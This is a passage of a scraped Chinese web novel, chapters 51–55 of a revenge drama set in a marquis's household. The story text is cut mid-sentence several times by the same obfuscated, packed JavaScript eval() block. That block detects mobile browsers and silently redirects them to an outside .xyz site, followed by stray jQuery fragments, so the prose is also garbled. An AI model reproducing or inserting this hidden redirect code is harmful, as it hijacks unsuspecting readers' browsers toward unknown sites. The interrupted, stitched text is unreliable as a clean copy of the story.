;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558028|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
残杀了。
明月之所以会做出那样的事情,也只是担心她失踪了那么多年,星儿取代她的位置罢了。
如今她已经受到了惩罚,愿意改过来的话,也没必要继续深究。
“你呀,就是这么善良,才会被晏逐星欺负。”晏明修听她这么说,愈发心疼她了。
“好了二哥,你别说了。”晏明月怕晏明远将她做的蠢事说出来,赶紧阻止晏明修继续说下去。
父亲和大哥都抓不住了,她要牢牢抓住二哥。
不能让他们都偏向晏逐星那个**。
“我饿了,想吃鸡丝小馄饨。”晏明月急忙转移话题。
“好,我这就命人做了给你送来。”晏明修摸了摸她的脑袋。
“大哥,二哥,你们陪我一起吃一些吧?我一个人吃饭,总觉得没胃口。”晏明月露出了讨好的笑。
晏明修看不得她这做小伏低的样子,心疼不已。
“好,我们陪你一块吃。”他毫不犹豫地答应。
“记得给星儿也送一份去。”晏明远吩咐。
晏明修想爆发,但晏明月扯了扯他的袖子,露出哀求的神情,他只得冷哼一声,不情不愿道:“知道了。”
不多时,一大碗热腾腾的鸡丝小馄饨便送去了玉澜院。
晏逐星让衔蝉验了无毒后,直接赏给了他们几人分食。
晏明修得知自己送去的馄饨被丫鬟吃了,气得跳脚:“我就说了她不会领情吧,大哥你偏不信。”
“行了。送是我们的心意,至于吃不吃,随她意。”晏明远比从前多了许多耐心。
“疯了,我看你真是疯了。”晏明修怒气冲冲地离开。
兄弟两人不欢而散。
晏明月将此事告知了母亲,温如霜气得牙齿都快咬碎了。
晏逐星竟然挑拨得她的两个儿子差点反目。
着实可恨!
不行,她不能坐以待毙,她必须要反击,不能让晏逐星再继续得意下去。
否则,往后侯府哪里还有她这个当家主母说话的份。
不过在那之前,她得把明月送走才行。
明月留下,只会妨碍她的计划。
就在她发愁要把女儿送去何处养病时,一个绝佳的去处送上门来了。
第51章 没有说实话
“夫人,青州来人了!”李氏欣喜若狂地跑进来通报。
“谁来了?”温如霜激动地支起了上半身。
“是大夫人和韫少爷来了。”李氏得知青州温家来人,心里安慰了不少。
这些时日,侯爷从不踏足夫人的院子,总是歇在两位姨娘处。
那些下人惯会见风使舵的,见大小姐得势,侯爷又冷落了夫人,伺候起来也不如之前那般尽心尽力了。
有娘家人来撑腰,侯爷应该能待夫人好一些了吧。
“快,快将他们请过来。”温如霜得知大嫂姜清屏和大外甥温韫来了,激动得直掉眼泪。
李氏将人领了进来。
温韫一进门就解释:“小姑,收到侯府传信,父亲就让我陪着母亲一块来京城探病,没想到中途大雪封了路,我们如今才到。是我们来迟了。”
“无妨,来了就好。”温如霜强忍着眼泪点头。
姜清屏从下人口中得知温如霜伤得这般严重,忍不住掏出帕子抹眼泪:“小妹,真是苦了你了。若你大哥瞧见你这样子,还不知道会心疼成什么样呢。”
温如霜听到这话眼泪啪嗒往下流。
大哥自小就疼爱她,若他知道是晏逐星那个野种害了她,定然不会像晏鸿升一般将此事糊弄过去。
“大嫂,是那个野丫头害的我,是她将我推下马车的!”虽然没有证据,但温如霜却坚信真凶就是晏逐星。
“什么?”姜清屏和温韫大吃一惊。
他们还不知道,温如霜已经和晏逐星结下了不共戴天之仇。
温如霜将发生的事情和自己的推测说了出来。
一旁的李氏有些心虚地摸了摸鼻尖。
夫人没有完全说实话啊。
那些苛待大小姐的举动,只用忽视了三个字一笔带过。反倒是那些不实的猜测夸大了许多。
而且还将二小姐落水失了清白一事给隐瞒,只说是大小姐害得二小姐毁了容貌。
姜清屏听完皱起了眉头:“这丫头竟然这般不知感恩?她本就不是你的亲生骨肉,你收留了她,她非但不感恩,竟然还妄想跟明月抢侯府嫡女的位置。简直荒唐。”
温韫也义愤填膺了起来。
“小姑,你当初就不该把她捡回来,让她死在大街上算了。”
温如霜叹了一口气:“说一千道一万也回不去当年了,我这身子也没有了康复的希望。如今,我只盼明月的脸能快快好起来。”
说到最后,她声音带上了哽咽。
她握住姜清屏的手,恳求道:“大嫂,过些时日,让明月跟你们回青州养伤吧。等伤好后,我就让侯爷接她回来。可好?”
姜清屏点头应下:“岂有拦着的道理。温家是明月的外祖家,与她血脉相连,她想回我们自该扫榻相迎。”
给女儿找好了去处,温如霜长长地吐了一口气。
回了青州,等女儿脸上的伤好之后,她便让母亲和大嫂在那边替她寻摸一个好人家。
以温家在青州的家世地位,明月嫁过去也无人敢看轻她。
虽然得知晏明月容貌受损,但夜里一同用膳亲眼看到那一刻,姜清屏和温韫还是吓了一跳。
晏明月咬唇不语,只是不安地低下了头。
姜清屏将眼里的惊诧收起,握着她的手露出了心疼的表情。
“天可怜见的,好端端一个国色天香的姑娘,怎么就被害成了这样。”
“呜呜呜,大舅母,你可要替我做主啊。”晏明月顺杆子往上爬,她扑到了姜清屏怀里呜呜地哭了起来。
“好了好了,难得见你大舅母,哭哭啼啼像什么话。”定远侯有些不满地开口训斥。
女儿一来就让温家人给她做主。
做哪门子的主。
倒像是在说他这个当爹的没有替她讨回公道似的。
被他这么一训斥,晏明月立刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558029|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
止住了哭声,怯生生地躲到了二哥身后。
这里毕竟是侯府,还是定远侯最大。
姜清屏和温韫不好多说什么,毕竟他管教的是自己的女儿。
姜清屏扫了一眼,没看到晏逐星,皱眉道:“星儿呢?”
定远侯淡淡道:“偶感风寒,怕过了病气给你们,便让她在院子里歇着了。”
昨日烈国公府又往玉澜院送了不少好东西。
他便知道这个烈国公夫妇是真的喜欢这个女儿。
再加上那日晏逐星还得了皇后赏赐的翡翠缠丝镯子,他便愈发器重这个女儿了。
说不定来日侯府的荣耀,还要寄托在这个女儿的身上。
因此今日她说染了风寒不想来一起用膳,他便也随她去了。
“我一来她就头疼脑热,真是巧了。我看不是染了风寒,而是我这个舅母面子不够大,请不来她陪同一块用膳吧。”姜清屏面色不悦。
“大舅母言重了,星儿不是那样的人,她真的身子不适,今日还请了大夫过门就医。”晏明远不疾不徐地开口。
见他也站出来替晏逐星辩解,姜清屏皱了皱眉,没再多说什么。
席间,她不轻不重地暗示了定远侯几句。
她的夫君马上要升官了,他要是怠慢了温如霜,温家可不会善罢甘休。
定远侯呵呵一笑,假装没听懂,只是说了好几声恭喜。
一顿接风宴,全是勾心斗角,吃得没滋没味的。
用过膳后,定远侯还是给了他们面子,当夜歇在了温如霜的院子里。
姜清屏则去了晏明月的院子里住下。
温韫被晏明修叫走,一整晚给他说了不少晏逐星的坏话。
说得温韫眉头紧锁。
这个晏逐星也太欺负人了。
翌日。
温韫主动找上了晏明月。
“明月表妹,你别伤心了。我和明修表弟一定会给你报仇的!”
第52章 给他送女人
“表哥,真的吗?”晏明月一脸期盼地看着她。
“当然。她一个捡来的野种,小姑和姑父给她口饭吃就不错了,她竟然还想取代你成为真正的侯府嫡女。”温韫一脸鄙夷。
他最讨厌这种鸠占鹊巢的人了。
就像父亲的表妹一样,住到家里来,竟然隐隐想要对他母亲的位置取而代之。
令人作呕。
“表哥,有你真好。”晏明月表现出一副单纯无害的模样。
“你若是不来,我真是不知道该怎么办了。爹爹和大哥都偏宠姐姐,二哥对我好一点,还要被大哥训斥。我真对不起二哥,让他受我牵连。”
说到最后,她眼眶都变红了。
晏明修原本听到前面两句话,有些不太高兴,但一听后边关心他的话,顿时心软得一塌糊涂。
他就说了嘛,二妹妹最善良最会替旁人考虑了。
他赶忙道:“二哥委屈不要紧,主要是你不能受委屈。”
温韫沉声开口:“没事,有我在呢,你们谁都不能受委屈。”
两人一同看向他:“表哥,你可是有什么好主意?”
“我们要以其人之道,还治其人之身。”温韫眼眸微眯。
*
青州温家一来人,晏逐星便让人留意了温如霜院子里的动静。
原本温如霜的院子密不透风,但自从她瘫痪后,院子里人心浮动,收买起来就容易多了。
于是次日她就得知了温如霜想把晏明月送走的事情。
“这可不行。”
晏逐星托着下巴思索了起来。
如果让晏明月离开京城,那么报复她的难度就会增加。
原想着利用玉肌膏温水煮青蛙,让她先得意一段时间。
等之后容貌再毁,晏明月的反应一定很精彩。
但如果她就这样被送走了,那她可就看不到她凄惨的下场了。
而温如霜之所以想把女儿送走,多半是为了腾出精力来对付她。
晏逐星决定先给温如霜找点事情干,分散她的注意力。
“你去人牙子那走一趟,帮我寻摸一个长得漂亮好生养的姑娘养在外边,看准时机让他们和父亲勾搭上。”晏逐星给九栀下了命令。
府里两个姨娘一入侯府就被温如霜下了绝子药,这些年来早就歇了争宠的心思。
她得从外边再找两个能用的人来。
“告诉她,只要想办法把孩子生下来了,我就会让她的孩子成为侯府世子。”晏逐星扔出了一个让人无法拒绝的诱饵。
定远侯府的人都要死光。
但侯爵之位,她得想办法留着给自己的人。
“是。”九栀很快就去找人了。
不过两日,她便找到了一个调教好的扬州瘦马。
此人名曰阮寄薇。
两人达成了一致,阮寄薇负责勾引定远侯,她需要的金银开销由九栀提供。
九栀与她见面时蒙了面还改了声音,她并没有认出她就是侯府大小姐的贴身丫鬟。
不得不说,受过专业训练的就是不一样。
第一天偶遇,第二天便将定远侯勾到了她的床上。
没几日,定远侯便沉醉在她的温柔乡当中了。
晏逐星故意让阮寄薇用了茉莉香粉。
温如霜碰不得茉莉香,一闻到就会不停流眼泪打喷嚏。莫说簪花熏衣,便是丫鬟们制头油时沾了丁点,她的额角便要泛红发疹。
因而只要定远侯身上带着茉莉香,她一定就会发现。
这日,定远侯跟阮寄薇厮混回府后,晏逐星故意派衔蝉拦住了他。
“侯爷,大小姐有事要见您。”
定远侯没想太多,直接去了玉澜院。
“星儿,你寻为父何事?可是国公府或者皇后娘娘有事要找你呀?”定远侯一脸慈爱地看着她。
嗅到他身上的茉莉花香,晏逐星放心了。
“母亲自打生病后精力不济,连我院里的银炭都漏了两回。正好之前太医叮嘱她静养,倒不如让母亲休养半年,待身子大好了,咱们再作打算。这些时日就让两位姨娘掌家如何?”
晏逐星故意提出了一个温如霜绝对不会答应的请求。
掌家的对牌在她手中,定远侯即便答应了也得去问她要。
他们必须见面。
“什么?这大冬天的,怎么能克扣你的银炭。你母亲真是病糊涂了。”定远侯眉头一皱,“既是如此,那便依你所言,让柳姨娘和林姨娘帮着掌家吧。”
“此事还得劳烦父亲去同母亲说才是。”晏逐星垂眸。
“行。还是星儿孝顺,懂得体恤你母亲的辛劳。”定远侯笑着夸赞了她两句,而后又命人将府里最好的银丝炭送了过来。
待他离去后,晏逐星唇角勾起一抹冷笑。
真期待待会儿温如霜的反应啊。
得知定远侯先去了晏逐星那里,又来见她,温如霜心底涌起了一阵怀疑。
那野丫头又憋着什么坏。
但见到定远侯的时候,她还是温声询问:“侯爷怎么来了?”
“夫人,你这些日子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565219|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受累了。”定远侯站在她床头两步开外的位置,没有靠近。
再加上她为了掩盖自己身上的异味,屋子里熏香十分浓重,所以并没有察觉到定远侯身上的茉莉花香。
定远侯继续开口:“太医说你这种情况要好好休息,不可太操劳。若是累坏了身子,孩子们也会心疼的呀。”
温如霜心下有些感动,没想到侯爷竟然还是关心她的。
但下一句话,就让她的感动烟消云散了。
“管家之事实在太累,倒不如让两位姨娘来打理,你看如何?”
温如霜顿时大怒:“这是晏逐星那野丫头给你出的主意吧?!”
“星儿那也是关心你,你又何必这么说她。”定远侯皱起了眉头。
“她那是关心我吗,她那是想夺了我的管家权!!!”温如霜怒吼。
因为情绪太过激动,猛拍床板时差点从床上摔下来。
距离最近的定远侯赶忙上前一步扶住她。
猛地闻到他身上的茉莉花香,温如霜忍不住打喷嚏。
“阿嚏”
鼻子痒得难受,温如霜一连打了好几个喷嚏,最后眼泪都打出来了。
“夫人,您怎么了?”李氏瞧见她不对劲,赶忙上前。
一上前,就闻到了定远侯身上的茉莉香气。
她大惊失色:“侯爷,夫人闻不得茉莉香气,烦请您让让。”
定远侯这才想起来这事。
他赶忙退后两步:“你好好照顾夫人,本侯先去沐浴更衣。”
李氏招呼着下人开窗通风,又喂温如霜吃了之前备下的药丸,这才让她止住了打喷嚏。
温如霜一缓过神来就忍不住破口大骂:“肯定是晏逐星那个**,她知道我闻不得茉莉香气,故意在侯爷身上抹了茉莉香粉!!!她要害死我。”
晏明修几人正好来探望她,听到这话,赶忙上前询问发生了什么事。
温如霜便将先前发生的事情说了。
晏明修是个暴脾气,一点就炸,当即就要去找晏逐星算账。
温韫和晏明月对视一眼,也跟了上去。
他们之前计划的是将晏逐星骗出府去,假意让她在路上遇到山匪,到时候让她的脸也划破,再将她救回来。
可没想到他们人都找好了,但晏逐星却死活不出门。
一时间他们没想好该怎么下手。
今日之事倒是可以借题发挥,虽然不能毁了晏逐星的脸,但也能让晏明月出口恶气。
几人凶神恶煞地来到了玉澜院。
第53章 晏逐星设套
“晏逐星,你明知道母亲闻不得茉莉香气,你还用茉莉熏香,你安的什么心。”晏明修一开口就是训斥。
“谁说我用了茉莉熏香的?”晏逐星面无表情地开口。
“二少爷,您可不能污蔑我家小姐呀。我们院内,可是半丁点茉莉花都寻不着的。”双鲤跟着附和。
“你说没用就没用么。来人,搜!”晏明修二话不说就让人去翻院子。
晏逐星拍了拍轮椅扶手,九栀将她猛地推上前。
她直接扑到了晏明修的身上。
“我没有做过,你不能搜我的院子。”
她力气极大,动作又很突然,晏明修猝不及防地就被她推倒了。
“二哥。”
“表弟。”
温韫和晏明月同时弯腰去搀扶他,却无人在意一同扑倒的晏逐星。
晏明修脸涨得通红,晏逐星竟然害他丢了那么大的脸。
他踉跄起身,正准备训斥晏逐星,晏明远就急匆匆地赶来了。
他一来,就看到晏逐星摔在地上,而丫鬟正哭着搀扶她起身。
晏明远怒斥:“二弟,你胡闹什么,星儿腿本就有伤,你还将她推倒。”
晏明修气得大叫:“是她推的我!”
晏逐星不解释这件事,只是看向了晏明远:“晏大少爷,你弟弟一来就说我故意用茉莉熏香害得母亲生病,没有证据就要搜我的院子。麻烦你把他带走。”
听到“晏大少爷”几个字,晏明远心下一阵难受。
“星儿,我是你大哥,你何必与我这般生疏客套。”
晏逐星沉默着不再开口。
晏明月面色不善地盯着晏逐星。
她故意和大哥划清界限,分明是以退为进。
见她不说话,晏明远在心底叹了一口气,抓住了晏明修的手。
“二弟,走吧,别闹了。”
晏明修甩开他的手:“大哥,我看你真是昏头了。一个野种而已,你何必这么维护她。”
听到这话,晏逐星直接将发髻上的金钗摘下来砸向他。
晏明修正和大哥辩解着,猝不及防被她砸中了嘴巴,金钗划破了唇角,渗出一丝血来。
疼得他倒吸一口凉气。
晏明远忽然想起在玄空寺被永安王石子弄肿的嘴唇,下意识地捂住了自己的嘴。
星儿这一手,不会是和永安王学的吧?
晏逐星在心底给自己鼓了个掌。
呜呼。
看来近日练习效果不错,砸人的准头愈发精确,可以做到想哪砸哪了。
她抢先一步开口:“你一口一个野种,看来是压根不把我当一家人。好,那我便遂了你的愿,今日搬出定远侯府,从此再也不见。”
她扭头,眼里含泪厉声吩咐:“双鲤,收东西,我们走。”
“诶!”双鲤应了一声,立刻拖着九栀就去收东西。
几个丫鬟的动作快得像是提前演练过一般,根本不给他们劝阻的机会,三下五除二就把东西给收完了。
“侯府的东西我一样不要,我带走的都是皇后娘娘和烈国公府赏赐的。不信你们可以检查。”晏逐星语气愈发冷漠。
晏明远忙道:“大哥就在这,看谁敢赶你走。侯府就是你家,别说这种话!”
随后扭头看向晏明修:“二弟,还不赶紧给星儿道歉。”
晏明修委屈**。
受伤的是他,大哥不关心他就算了,还帮着一个野种说话。
晏明月没想到大哥已经被晏逐星迷惑到这个地步了,赶忙上前一步替晏明修说话。
“大哥,你怎么能不分青红皂白就怪二哥呢。我和表哥都看见了,是姐姐不小心推倒二哥的。”
一旁的温韫也忍不住帮腔:“大表弟。我只知你偏袒晏逐星,不知道你竟然已经盲目到这种地步。”
晏明远皱眉道:“我并未偏袒星儿,是二弟无理在先。父亲今日还去了别的地方,说不定是从
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565220|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别人那染了茉莉香,毫无证据,怎么就怪到星儿头上呢。”
晏明修涨红了脸不知道该如何辩解。
晏逐星饶有兴致地看着他们争吵。
晏明修这下总算体验到从前他们不分青红皂白就偏袒晏明月,她是什么感受了吧。
“你们这是在胡闹什么!!!”定远侯得知晏逐星要搬走,气得胡子都抖了抖。
开什么玩笑。
他费尽心思和晏逐星修复父女关系,甜头还没尝到,怎么能让人跑了。
他当下就将晏明修几人训斥了一番。
“是我在外头没注意染上了茉莉香气,与星儿有何关系。晏明远,给你妹妹道歉。不许再叫她野种。”
晏明修不服,抬起下巴满眼倨傲:“她才不是我妹妹。我只有明月一个妹妹。”
“侯爷,你不必与二少爷争论。我感激您收养了我这些年,日后一定会报答您的。只是我继续留下来,于侯府没有任何益处。我还是走吧,免得破坏了你们的父子关系。”晏逐星小心翼翼地扯了扯定远侯的衣角。
定远侯被她这一句“侯爷”给刺激到了。
他抬手揪住晏明修的耳朵:“我让你道歉听到没。今日若不能让星儿消气留下,你就给我滚去祠堂跪到过年。”
“哎哟哟。”晏明修被揪住耳朵,疼得东扭西歪惨叫出声。
没想到,他扭动时一个小纸袋从他身上掉了下来。
“这是什么?”晏明远皱眉捡起,打开一看,一股浓郁的茉莉香气传了出来。
这是茉莉香粉!
“好呀,原来你说要搜院子,是想把这个东西藏起来,栽赃我家小姐?!”双鲤大声质问。
“不是我的。”晏明修彻底慌了神。
“我不知道这东西哪来的。”
但下一瞬间,他就反应过来了,红着眼睛冲晏逐星扑过去,厉声嘶吼道:“是你,你刚刚故意推翻我把这东西藏我身上的。”
第54章 布好下个局
定远侯和晏明远赶忙伸手拦住她。
晏明月和温韫一惊,顿时用怀疑的眼神看着晏逐星。
如果这一切都是晏逐星设好的圈套,她的心机也太深了。
听着晏明修的质问,晏逐星却没有丝毫的惊慌。
“不是**的。二少爷,你贼喊捉贼的把戏还没玩够吗?每一次都用这种招数陷害我,你真当我是傻子吗。”她冷笑着盯着他的眼睛。
“那年,你明明是带晏明月去玩水后身子不适,你怕爹娘责备她,就故意来找我说带我去捉鱼。隆冬时节你跳入冰窟窿里为我捞鱼,我还偷偷开心以为你不生我的气了。结果上岸后你就冻晕在我面前,害得我被母亲罚跪了一夜。”
晏逐星说起这些事时,以为自己不会在乎了。
但她却还是控制不住眼泪,越说越伤心。
当初,她是真的以为那个疼爱她的二哥回来了。
她无比期待着和哥哥一起去捞鱼。
她想着等鱼捞上来了,她就给爹娘做热乎乎的鱼汤。他们喝了,肯定就会想起她的好,把她接回瑶华院了。
没想到,等来的只有惩罚。
“这一回,你又拿茉莉香粉来害我,不就是想让我滚出侯府吗。其实不用这么麻烦的,直接跟我说一声就行,我不会赖在你们侯府的。”她抿着唇,眼泪像断了线的珠子一直往下落。
定远侯和晏明远是头一回知道这些事,他们一脸错愕地看着晏明修和晏明月。
两人眼里都闪过一丝心虚。
晏明修梗着脖子道:“那时候的事情是我不对,但这一次我真没有……”
他的话没说完,就被晏逐星打断了:“父亲从外边回来只和我说了几句话,那么短的时间里,我压根没机会往父亲身上撒什么茉莉香粉。”
“你不听我辩解直接就把谋害母亲的罪名扣我头上,你到底是多恨我啊?为什么非要逼死我呢?”
这一句话,是替上辈子的她问的。
她到底做了什么,他们要那么恨她,恨到她**也不愿意放过她。
晏明远的心脏忽然有些抽疼。
星儿对二弟的一声声控诉,何尝不是在质问拷打他呢。
他当初不也是为了让明月开心,做了很多伤害星儿的事情吗。
明明……
星儿也喊了他那么多年的哥哥啊。
“星儿莫慌,爹爹今日便替你讨回公道!”定远侯大手一挥,叫来下人押住了晏明修。
“你去祠堂跪着,跪到星儿消气了为止。”
“爹!”晏明修和晏明月同时惊叫出声,“这是不是太过分了?”
“你再多嘴,你也一块去跪着。”定远侯不悦地看着晏明月。
和威宁侯那边的婚事迟迟谈不拢,他看到晏明月就烦。
晏明月的眼泪在眼眶里打转,她嗫嚅着唇想开口,却又不敢。
“表哥,你快替我求情啊。”晏明修求助温韫。
“姑父……”温韫只是刚开了个口,就被打断了。
“韫儿,这是侯府的家事。我这个当长辈的管教孩子,不用你同意吧?”定远侯皮笑肉不笑地开口。
温韫讪讪道:“自然是不用的。”
晏明修鬼哭狼嚎说不是他陷害的晏逐星,但没用,定远侯已经倒向了晏逐星那边,他更相信晏逐星的话。
定远侯将其他人赶走,温声安慰起晏逐星:“你就在玉澜院安心住下,谁来找你麻烦,爹都不会同意的。”
晏逐星红着眼眶道:“多谢侯爷。”
“嗯?怎么叫侯爷,你怨上爹了?”定远侯故意板着脸吓唬她。
“多谢爹爹。”晏逐星从善如流地改口。
定远侯这才满意地点头。
两人又客套了几句,定远侯方才离开。
“把东西重新放回原位吧。”晏逐星下了命令,让双鲤将她推到了书桌前。
如今温如霜瘫痪,晏明远婚事被搅黄,晏明月容貌被毁,晏明修也被关进了祠堂。
定远侯彻底偏向她。
晏明月和温如霜一定会狗急跳墙出昏招。
他们自乱阵脚时,就是她动手的好时机。
“以其人之道还治其人之身。”
晏逐星在纸上写下了这么一句话。
下一个针对晏明月的局她已经布好,只等她入坑收网了。
*
翌日清晨,惊闻次子被关到祠堂罚跪了一整晚,温如霜本就孱弱的心神愈发惊惶不定,双手紧攥着被褥,指节都抓得泛起了青白。
她忍不住脱口而出:“侯爷莫不是得了失心疯?”
为了一个野种,竟然伤害自己儿子。
大冬天的祠堂阴冷,这么跪下去膝盖迟早废了。
“去把侯爷请来!”她怒吼着催促。
不一会儿,定远侯院子里的丫鬟便来了。
小丫头忐忑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570817|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地开口:“侯爷上朝去了。不过……侯爷曾给我留话让我转告夫人。”
“侯爷让你说什么!”温如霜咆哮出声,与市井泼妇无异,从前的贵夫人形象荡然无存。
小丫头闭上眼睛,一咬牙,复述了定远侯的话。
“若夫人能将管理庶务的心思多放一点在二少爷身上,二少爷也不至于这么不懂事。夫人不如暂且将庶务交给两位姨娘打理。”
“晏鸿升,你这个王八蛋!!!”温如霜气得浑身哆嗦了起来。
定远侯的意思很明显了。
想换晏明修从祠堂里出来,就拿掌家对牌来换。
姜清屏赶忙替她拍背顺气,将这丫鬟撵走后,若有所思道:“小妹,我怎么觉得妹夫有些不对劲啊?”
“哪里不对劲?”温如霜看向大嫂。
自打她瘫痪在床后,整夜整夜的睡不着,脑子都没之前好用了。
“按理来说,你们夫妻的感情不该消散得这么快。毕竟也是二十年的感情了。再说了,还有你大哥在呢,怎么着侯爷都不该是这个态度。”姜清屏委婉暗示。
“久病床前无孝子,何况是丈夫。”温如霜流下了悔恨的泪。
要是那一日,没有去定国公府就好了。
“我的意思是,会不会是侯爷在外边有人了,心落到别的女人身上了。他昨日身上的茉莉香气,总不能是男人的吧。”姜清屏见她没有反应过来,只得摊开了说。
温如霜一愣。
如果不是晏逐星故意往侯爷弄的茉莉香气,那么大嫂的推断才是最有可能的。
如果侯爷真的在外边有了别的女人。
温如霜一想到这个可能,就恨不得**。
她强迫自己冷静下来。
“我知道了。大嫂,多谢你的提醒。”温如霜对着嫂子道谢。
等她离开后,立刻命人去跟踪定远侯。
看看他下朝之后,会去哪里。
同一时间,她让人给晏明修送去了软垫和吃食。
“告诉二少爷,侯爷回来了再跪,别那么实心眼。看守的人管好自己的嘴,若是敢去侯爷面前嚼舌根,我发卖他全家!”
雷厉风行地办完了一切。
温如霜忐忑不安地在屋子里等到了天黑。
定远侯终于回来了。
她赶忙将自己派去跟踪他的小厮叫来询问:“怎么样,侯爷去了何处?见了什么人?”
第55章 彻底没帮手
“侯爷、侯爷……”小厮目光躲闪着往后退了半步,结结巴巴说不出个所以然来。
温如霜心底已经有了猜测,但不愿意相信。
她将雕花床架拍得哐当震响,连带着纱帐都晃出波纹。
她厉声呵斥道:“舌头被炭烫卷了不成?给你三息时间,若说不明白,你也不用在侯府呆着了。”
话音刚落,小厮的膝盖便重重磕到了地上,话像竹筒倒豆子似的蹦出来。
“侯爷去斜阳巷见了一个姑娘。临走前,那姑娘攥着侯爷的玉佩穗子,将脸都贴到侯爷颈窝里了。”
温如霜还有什么不明白的。
定远侯竟然在外边养了外室!
那茉莉花香,定然是在外室那里染上的。
温如霜气得牙齿都要咬碎了。
小厮垂头跪在地上瑟瑟发抖,不敢言语。
这样大的事情竟让他给撞见了。
温如霜心乱如麻不知道该如何处置这事,她让小厮退下,差人将大嫂请了过来。
“嫂子,你说对了。侯爷他真的在外边养了人。”温如霜一说话,眼泪便扑簌簌地往下落。
姜清屏叹了一口气,轻轻将她拥在怀中。
同为女人,她特别能理解温如霜此刻的崩溃。
她什么也没说,只是静静地拍打着她的背,直到她渐渐停止了啜泣声。
“嫂子,你说我该怎么办啊?”温如霜泪眼朦胧地看着大嫂。
“别慌,只是一个小小的外室罢了。只要掌家之权还在你手中,你便不必惊慌。”姜清屏按住她的双肩,给她支招。
“你不如让侯爷将人纳入府中。入了府,后宅之事还是你这个当家主母说了算。一个小小的姨娘,还不是任你捏圆揉扁。”
“等明远明年及冠,你让侯爷请立世子,务必让世子之位落在明远头上。”
“侯府迟早会归到明远手中,那些姨娘成不了什么气候。”
有了大嫂一步一步的分析,温如霜心里也有了着落。
她用力攥紧姜清屏的手:“大嫂,没有你我可怎么办啊。幸亏你来了。”
“傻丫头,咱们可是一家人。”姜清屏也重重地握住了她的手。
“不过你可得快点拿定主意了,我看侯爷这回是真的要给明修教训。若你再不出手,明修在祠堂可就真的遭大罪了。”
“而且,后日我们就要回青州了。再之后,我也就帮不上什么忙了。”
温如霜顿时生出了一股紧迫感。
她忙点头:“我明白了嫂子,我这就让人请侯爷来,与他好好商谈此事。”
她在“好好”二字上加重了语调,带着几分咬牙切齿的恨意。
姜清屏点了点头,又安慰了她几句,等到定远侯过来时,她便找了个借口离开,只留他们夫妻二人在屋内。
“夫人寻我所为何事?”定远侯不冷不**开口。
温如霜轻声道:“明修已经在祠堂跪了一天一夜,再大的差错也该饶了他吧?”
“夫人不是已经找我院中的丫鬟问过了么。”定远侯没有正面回答。
温如霜生吞他的心都有了。
说来说去,就是想让她用管家权把儿子换出来。
她也不演了,将手上的药碗往旁边一搁。
“如今我卧病在床,若是让柳姨娘和林姨娘替我分担家中庶务,谁来伺候侯爷?是斜阳巷的那位姑娘么?”
定远侯没想到她这么快就知道了阮寄薇的存在,眼睛猛然睁大:“你派人跟踪我?”
大虞官员若是被检举养外室,会被认为私德不修,到时候恐怕他又要在家反省了。
温如霜淡淡道:“侯爷若是喜欢那姑娘,大可纳入侯府,我绝无二话。只是明修一直在祠堂里跪着,我无心给侯爷操办纳妾之事啊。”
听她这么说,定远侯心里松了一
